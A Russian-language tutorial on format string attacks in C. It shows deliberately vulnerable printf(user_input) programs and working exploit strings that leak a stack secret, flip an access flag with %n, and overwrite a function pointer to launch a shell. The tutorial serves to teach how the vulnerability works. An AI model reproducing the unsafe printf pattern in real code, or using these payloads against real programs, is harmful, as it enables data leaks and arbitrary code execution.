[Из песочницы] Printf Oriented Programming
Intro
К своему удивлению не нашел статей на хабре по этой теме и этой статьей я хотел бы исправить положение дел. В ней я постараюсь максимально доходчиво рассказать со стороны атакующего о Format String Attacks, однако с некоторыми упрощениями. На практике они достаточно просто разрешаются, но не очень хочется на них зацикливаться. Кроме того, самых стойких, долиставших до конца, помимо бесценных знаний ждет небольшой бонус.
Зачем это вообще нужно?
Подобно остальным уязвимостям, нужны Format String Attacks для того, чтобы получить неправомерный доступ к программе и делать с ней все, что захочется. Одна из важных особенностей этой уязвимости — безразличие к дополнительным меры защиты вроде w^x и ASLR. И самое главное она позволяет обойти и относительно новую защиту CFI.
Приступим?
Как мне всегда казалось лучше всего понимать происходящее на примерах, поэтому без лишних слов сразу к коду.
#include
void f(char *str) {
char *secret_data = "My Awesome Key";
printf(str);
}
int main(int argc, char **argv) {
f(argv[1]);
return 0;
}
- Вывести строку
- Заменить спец.символы начинающиеся с %
- Вернуть количество успешно выведенных символов
Что мы можем с этим сделать? Давайте соберем наш код и запустим. Здесь и далее работать будем с x86–32.
$ cc -m32 format_vuln.c -o format_vuln
$ ./format_vuln %d
47
Интересно, откуда же взялось 47? Мы ведь просили вывести »%d». На самом деле функция была написанна на C. Так как перегрузки операторов там нет, то и не знает, сколько ей аргументов было подано, поэтому ориентируется она на первый аргумент, который парсит строку и с каждым % забирает очередной аргумент со стека.
Дело в том, что для производительности значения на стеке не обнуляются. Выделение/освобождение памяти происходит путем уменьшения/увеличения соответствующего указателя на стеке. Так что 47 — просто некоторое произвольное число каких-то побочных вычислений
Немного поигравшись можно получить заветный ключ.
$ ./format_vuln %d.%d.%d.%d.%d.%d.%s
47.-145670960.-143695128.32768.-143929344.-143936984.My Awesome Key
Почему именно 6%d?
Давайте посмотрим на дизасемблированный листинг функции f с помощью objdump:
080483fb :
80483fb: 55 push ebp
80483fc: 89 e5 mov ebp,esp
80483fe: 83 ec 18 sub esp,0x18
8048401: c7 45 f4 d0 84 04 08 mov DWORD PTR [ebp-0xc],0x80484d0
8048408: 83 ec 0c sub esp,0xc
804840b: ff 75 08 push DWORD PTR [ebp+0x8]
804840e: e8 bd fe ff ff call 80482d0
8048413: 83 c4 10 add esp,0x10
8048416: 90 nop
8048417: c9 leave
8048418: c3 ret
По адресу 0×80484d0 хранится наш ключ и записывается он в стек по адресу ebp-0xc. Наш первый аргумент лежит по адресу ebp+0×8.
По инструкции sub esp,0x** выделяется нужное место на стеке. Причем выделяется явно много лишнего. Это выравнивание данных (padding) и делается это автоматически компиляторами, для производительности.
Итого если посмотреть на стек перед вызовом printf то становится ясно откуда эти 6%d.
Непопулярные фичи printf
Помимо потенциальной утечки данных printf обладает и другими интересными возможностями.
- Обращение к n-ому аргументу, например вызов printf (»%3$d %1$d %2$d», 1, 2, 3) выведет »3, 1, 2»
- Определение длины для вывода аргумента, например вызов printf (»%.*s», 4, «Hello!») выведет «Hell»
- Запись в переданный указатель количество успешно выведенных символов c помощью %n
К примеру, имея следующий код:
#include
int main() {
int i, j;
printf("Hello%2$n, world!%1$n\n", &i, &j);
printf("%d %*d", i, 3, j);
return 0;
}
получим такой вывод:
$ cc -m32 printfwrite.c -oprintfwrite
$ ./printfwrite
Hello, world!
13 5
Эта функциональнасть открывает новые возможности для эксплуатации. Изменим немного наш старый код и посмотрим, что с ним можно сделать.
#include
#include
void f(char *str, int acc) {
int *access = &acc;
printf(str);
if (*access) {
puts("Secret information revealed!");
}
}
int main(int argc, char **argv) {
char *usr = getenv("USER");
if(usr==NULL) return EXIT_FAILURE;
f(argv[1], usr == "kitsu");
return 0;
}
$ cc -m32 printfacccess.c -m32 -o printfacccess
$ ./printfacccess %d.%d.%d.%d.%d.%d.%n
-4922064.2.4.-4922088.-143168832.-145108519.Secret information revealed!
Но что, если число, которое нам нужно записать очень большое? Например адрес функции. Первое, что приходит в голову подавать строку соответствующих размеров. Скажем у нас есть адресс шеллкода и есть управление над printf, что же нам делать?
#include
#include
typedef void(*fptr)();
void routine() {
/* do something useful */
puts("Routine done.");
}
void shell() {
execve("/bin/bash", 0, 0);
}
void f(char *str, fptr p) {
fptr ptr = p;
printf(str);
ptr();
}
int main(int argc, char **argv) {
f(argv[1], routine);
return 0;
}
Интересующий адрес шелла после компиляции — 0×80484d4. Выведем столько раз произвольный символ, а затем перепишем указатель на функцию.
$ cc -m32 printfshell.c -oprintfshell
$ ./printfshell `python -c 'print("0"*0x80484d4 + "%n")'`
bash: ./printfshell: Argument list too long
Увы, башу эта затея пришлась не очень по душе. Но мы можем добиться аналогичного эффекта с помощью уже упомянутой возможности ширины вывода, а после этого аналогично записать количество с помощью %n.
$ ./printfshell `python -c 'print("%1$134513876.0X%7$n")'` >out
$ echo "$$"
$ exit
exit
$ echo "$$"
3899
$ tail -c 4 out
3920
А теперь давайте подробнее разберемся, что за чудеса здесь произошли. Здесь мы запустили нашу программу и от нее запустился новый инстанс нужного нам шелла.
А что все таки »%1$134513876.0X%7$n» значит?
Он представляет собой два исполняющих символа »%1$134513876.0X» и »%7$n».
%1$134513876.0X — вывод на stdout первого переданного аргумента, с длинной поля 134513876(это и есть адрес нашего шеллкода). Что там выведется значения не имеет, главное — количество символов.
%7$n — выполняет запись в 7 аргумент. Записывает он как раз то количество символов, которое мы вывели, т.е. адрес шеллкода.
В заключении
Как вы уже могли заметить, printf ()-like функции обладают колосальной мощью. Более того абсолютной, ибо как оказалось они и еще тьюринг-полные, а значит потенциально могут содержать все, что будет угодно хакеру.
Как? Достигается это достаточно длинным и сложными последовательнотями, с которыми можете поиграться вот тут. Они сделали компиляцию brainfuck кода в format-string последовательности. Там есть примеры вроде чисел фибоначчи, 99 бутылок пива и много чего еще интересного.